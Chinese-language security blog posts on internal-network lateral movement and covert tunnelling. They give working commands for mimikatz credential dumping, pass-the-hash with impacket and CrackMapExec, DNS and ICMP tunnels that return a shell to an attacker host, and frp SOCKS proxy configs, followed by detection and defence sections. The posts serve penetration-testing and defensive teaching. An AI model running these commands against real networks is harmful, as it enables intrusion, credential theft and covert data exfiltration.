隧道 on SoulJian小站

内网横向移动技术全景

Sat, 29 Aug 2026 21:50:00 +0800

写在前面：合法学习边界

横向移动只允许在授权内网进行。对非授权主机横向、抓凭据可能触犯法律。

一、横向移动的本质

拿到一台主机后，用它的身份/凭据去“串”到内网其他主机，扩大控制面。

1
2
3
4


关键三要素：
1. 有凭据（明文/哈希/票据/Token）
2. 目标开放对应服务（445/5985/3389/22…）
3. 目标账号有权限

二、横向移动的凭据来源

1
2
3
4
5


内存抓取：mimikatz sekurlsa::logonpasswords
哈希：NTLM 哈希（PtH）
票据：Kerberos 票据（PtT / 黄金/白银票据）
明文：WDigest、内存缓存、配置文件
账号密码：弱口令爆破

三、横向技术矩阵

1. SMB 横向（最常用）

1
2
3
4
5
6
7
8


# impacket（Linux 侧）
psexec.py DOMAIN/user@ip -hashes :<ntlm> # 交互 Shell
# 解释：通过 SMB 服务创建一个远程会话，-hashes 直接传 NTLM 哈希，无需明文密码
smbexec.py DOMAIN/user@ip -hashes :<ntlm> # 无盘 Shell
# 解释：不走磁盘，通过 SMB 在内存中执行，更隐蔽
crackmapexec smb 网段 -u user -H <hash> # 批量探测
# 解释：对网段批量测试哪些机器能用该哈希登录，[+] 即成功
# 工具：PsExec、CrackMapExec、Impacket

2. WMI 横向

1
2
3


wmiexec.py DOMAIN/user@ip -hashes :<ntlm> # 更隐蔽
# 解释：通过 WMI 远程执行命令，不落地文件，日志更少
# 特点：不落地文件，走 WMI 远程执行

3. WinRM 横向

1
2
3


evil-winrm -i ip -u user -H <ntlm> # 交互 Shell
# 解释：通过 WinRM(5985) 拿到交互 shell，适合支持 WinRM 的主机
# 前提：目标开启 WinRM（5985/5986）

4. RDP 横向

1
2


拿到账号密码/哈希直接远程桌面
注意：RDP 留登录痕迹，动静大

5. SSH 横向（Linux 内网）

1
2


ssh user@ip
# 复用已抓到的 SSH 私钥/口令

6. 计划任务 / 服务

1
2


创建远程计划任务执行命令
远程创建服务（binPath 指向恶意程序）

7. 其他

1
2
3


数据库横向（MSSQL xp_cmdshell / Redis）
Web 应用横向（利用内网 Web 漏洞）
代理 + 隧道（先打通网络再横向）

横向操作步骤

1
2
3
4
5
6


第 1 步：在已控主机抓凭据（mimikatz sekurlsa::logonpasswords）
第 2 步：确认网段与目标（存活探测 + 端口 445/5985/3389）
第 3 步：用 CrackMapExec 批量验证哈希/口令可用性
第 4 步：按服务选工具横向（SMB→psexec、WMI→wmiexec、WinRM→evil-winrm）
第 5 步：横向后在新主机再抓凭据，向域控/核心推进
第 6 步：全程记录，避免破坏业务

四、横向工具汇总

1
2
3
4
5
6


Impacket（psexec/wmiexec/smbexec）
CrackMapExec（批量横向）
evil-winrm
mimikatz（抓凭据）
Cobalt Strike 的 psexec_psh/wmi 模块
fscan（内网批量发现+利用）

五、检测

1
2
3
4
5


同一账号多主机登录（4624/4625 异常）
LSASS 被读取（mimikatz）
SMB/WMI/WinRM 横向扫描特征
计划任务/服务批量创建
异常 NTLM 登录、票据使用

六、防御

1
2
3
4
5


LAPS 防本地管理员密码复用
Credential Guard 隔离凭据
账号分离（域管不登普通机）
最小开放端口，网络分段
EDR 检测横向行为

七、修复（事件后）

1
2
3
4


重置受影响账号密码
清理会话/票据/后门
补齐补丁、收敛暴露面
复测横向路径是否还存在

八、小结

横向移动 = “凭据 + 可达服务 + 权限”。先抓凭据（mimikatz），再用 CrackMapExec/impacket 批量试，是主流打法。防守核心是防凭据泄露（LAPS/Credential Guard）+ 控横向通道（分段/EDR）。

DNS 隧道工具实战（iodine / dnscat2）

Sat, 29 Aug 2026 17:30:00 +0800

写在前面：合法学习边界

DNS 隧道只在授权内网靶场使用。对非授权网络建立 DNS 通道、外带数据可能触犯法律。

一、漏洞原理

DNS 查询基本不会被防火墙拦（解析域名必须放行）。DNS 隧道把数据编码进 DNS 查询的域名和响应记录，借 DNS 协议传任意数据。

1

数据 → 编码进子域名查询 / TXT 记录 → DNS 服务器转发 → 攻击者服务器接收

常用工具：

1
2
3


iodine：把 DNS 变成 IP 隧道（需要控制一个域名）
dnscat2：在 DNS 上跑命令通道
dns2tcp：类似

二、影响与危害

1
2
3


在只放行 DNS 出站的环境建立通道
绕过防火墙、外带数据
稳定的远程控制通道

风险等级：高。

三、利用 / 复现

前置条件

1
2


需要自己控制一个域名（如 tunnel.example.com）
把该域名的 NS 记录指向攻击机

iodine：IP over DNS

1
2
3
4
5


# 攻击机（服务端，公网 IP）
iodined -f 10.0.0.1 tunnel.example.com

# 目标机（客户端）
iodine -f 10.0.0.1 tunnel.example.com

隧道建立后，10.0.0.0/24 内网直接可达，可 ssh/scp 等。

dnscat2：命令通道

1
2
3
4
5


# 攻击机（服务端）
ruby dnscat2.rb tunnel.example.com

# 目标机（客户端）
./dnscat2-v0.07-client tunnel.example.com

服务端可 session -i 1 进入会话，执行命令：

1
2


session -i 1
shell

四、检测

1
2
3
4
5


域名查询异常：子域名很长、随机串、高熵
大量 TXT 记录请求（iodine 用 TXT 传数据）
单个域名高频 DNS 查询、请求来源异常
DNS 查询大小远大于正常（超 512 字节）
域名从未见过、TTL 异常

五、防御

1
2
3
4
5


限制 DNS 出站到可信递归服务器
监控并限制单个来源的 DNS 查询量
对高熵域名、超长域名告警
禁止非权威解析器的 TXT 大量查询
关键网络按需关闭 DNS 出站

六、加固（修复）

1
2
3
4


发现隧道：封禁异常域名与来源 IP
清理目标机隧道进程
收紧 DNS 策略并补监控
对失陷主机取证

完整操作步骤

1
2
3
4
5


第 1 步：准备自己控制的域名，NS 指向攻击机
第 2 步：服务端启动 iodined / dnscat2 服务端
第 3 步：目标机运行客户端，确认隧道建立
第 4 步：通过隧道访问内网/传输数据
第 5 步：使用完清理痕迹

七、小结

DNS 隧道是“防火墙最不敢拦的协议”被滥用：解析总是要放行。红队用它做隐蔽通道，蓝队要盯异常查询特征——长域名、高熵、高频、TXT 大量传输。它是内网渗透和数据外带的经典手段。

ICMP 隧道工具实战（icmpsh / ptunnel）

Sat, 29 Aug 2026 17:20:00 +0800

写在前面：合法学习边界

ICMP 隧道只在授权内网靶场使用。对非授权网络建立隐蔽通道可能触犯法律。

一、漏洞原理

很多防火墙放行 ICMP（否则 ping 不通，运维排查麻烦），但会拦截常见端口（443/445/3389 等）。ICMP 隧道就是把数据封装进 ICMP echo（ping）包，借这条“放行通道”传数据。

1
2


数据 → 封装进 ICMP payload → 对端解封装
看起来只是普通 ping，实际在传任意数据

常用工具：

1
2
3


icmpsh：简单，做命令回显/反弹
ptunnel：建立 TCP over ICMP 隧道
PingTunnel：类似 ptunnel

二、影响与危害

1
2
3


绕过防火墙出站限制
在只放行 ICMP 的环境建立通道
外带数据、隧道代理

风险等级：高（一旦建立等于打通网络隔离）。

三、利用 / 复现

icmpsh：命令回显/反弹

1
2
3
4


# 攻击机（服务器端）
python icmpsh_m.py 攻击机IP 目标IP
# 目标机（客户端，需要 root）
./icmpsh.exe -t 攻击机IP -d 500 -s 500

连接成功后目标机的 Shell 回到攻击机。

ptunnel：TCP over ICMP

1
2
3
4
5
6


# 服务端（攻击机，监听）
./ptunnel -x 密码
# 客户端（目标机，连接到内网某台机器）
./ptunnel -p 攻击机IP -lp 2222 -da 10.0.0.5 -dp 3389 -x 密码
# 本地连接
rdesktop 127.0.0.1:2222

即通过 ICMP 隧道把内网 10.0.0.5:3389 映射到本地 2222 端口。

使用条件

1
2
3


能 ping 通目标（ICMP 放行）
icmpsh 客户端需要 root/管理员权限
网络中间不能过滤畸形 ICMP 包

四、检测

1
2
3
4
5


ICMP 包体积异常大（超过正常 ping 的 64/128 字节）
高频、连续 ICMP 请求（正常 ping 频率低）
ICMP payload 内容非纯数字/字母，出现编码特征
请求与响应包大小比例异常
同一 IP 长时间持续 ICMP 交互

五、防御

1
2
3
4


防火墙限制 ICMP 出站/入站到可信来源
监控异常 ICMP 流量并告警
在边界禁止畸形/超大 ICMP 包
对关键网段关闭 ICMP 回显

六、加固（修复）

1
2
3
4


发现隧道：断开通道并封禁来源 IP
清理隧道工具与持久化进程
收紧 ICMP 策略，补边界防护
对失陷主机取证追查数据流向

完整操作步骤

1
2
3
4
5


第 1 步：确认能 ping 通目标（ICMP 放行）
第 2 步：icmpsh 命令回显（目标需 root）
第 3 步：ptunnel 把内网端口映射到本地
第 4 步：通过隧道访问内网服务
第 5 步：使用完清理

七、小结

ICMP 隧道是“规则总是漏掉的那条路”：防火墙防端口，却常放行 ping。红队用它绕隔离，蓝队要抓的是异常 ICMP 的特征——大包、高频、非正常 payload。

内网渗透：frp 隧道与代理实战

Sat, 29 Aug 2026 13:40:00 +0800

写在前面：合法学习边界

隧道与代理只在授权内网靶场使用。对非授权网络建立隐蔽通道、转发流量可能触犯法律。

一、原理：为什么需要隧道

攻击者拿到一台内网主机后，通常无法直接访问更深的内网网段。隧道/代理的作用是：

1
2
3


把已控主机变成“跳板”
通过它访问原本到不了的内网服务
支持 Socks5 全局代理和单端口转发

frp 是常用方案：frps 跑在攻击机（公网/可访问端），frpc 跑在内网已控主机，两者建立连接。

二、影响与危害

1
2
3


突破网络隔离，横向移动
访问内网 RDP/数据库/Web 等隐蔽服务
稳定持久的内网通道

风险等级：配合失陷主机，等于把内网“透明化”给攻击者。

三、利用 / 复现

第一步：攻击机启动 frps（服务端）

1
2
3
4


# frps.ini
[common]
bind_port = 7000
token = secret123

1

./frps -c frps.ini

第二步：内网主机启动 frpc（客户端）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
token = secret123

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

1

./frpc -c frpc.ini

第三步：本地代理访问内网

1
2
3


# 把 socks5 代理指到攻击机的 1080
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20

端口转发场景

只想转发某个端口：

1
2
3
4
5


[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 13389

然后 rdesktop 攻击机IP:13389 即访问内网 RDP。

四、检测

1
2
3
4


对外连接出现非常规高频端口（7000 等）
frp 进程特征、配置文件残留
内网主机有到公网的异常长连接
流量特征：frp 使用自定义协议头

五、防御

1
2
3
4


限制内网到公网的出站连接（白名单）
监控异常外联与端口复用
EDR 检测隧道/代理工具进程
内网做东西向隔离，收敛可达面

六、加固（修复）

1
2
3
4


清除已控主机上的 frp 与相关进程/开机自启
排查注册表、计划任务、服务中的持久化
收紧出站防火墙，阻断 frps 常用端口
对失陷主机取证，追查隧道建立时间与数据

七、小结

隧道是内网渗透的“血管”：没有它，很多横向动作做不了；有了它，攻击者能稳定访问内网。防守核心是“出站最小化 + 东西向隔离 + 监控异常外联”。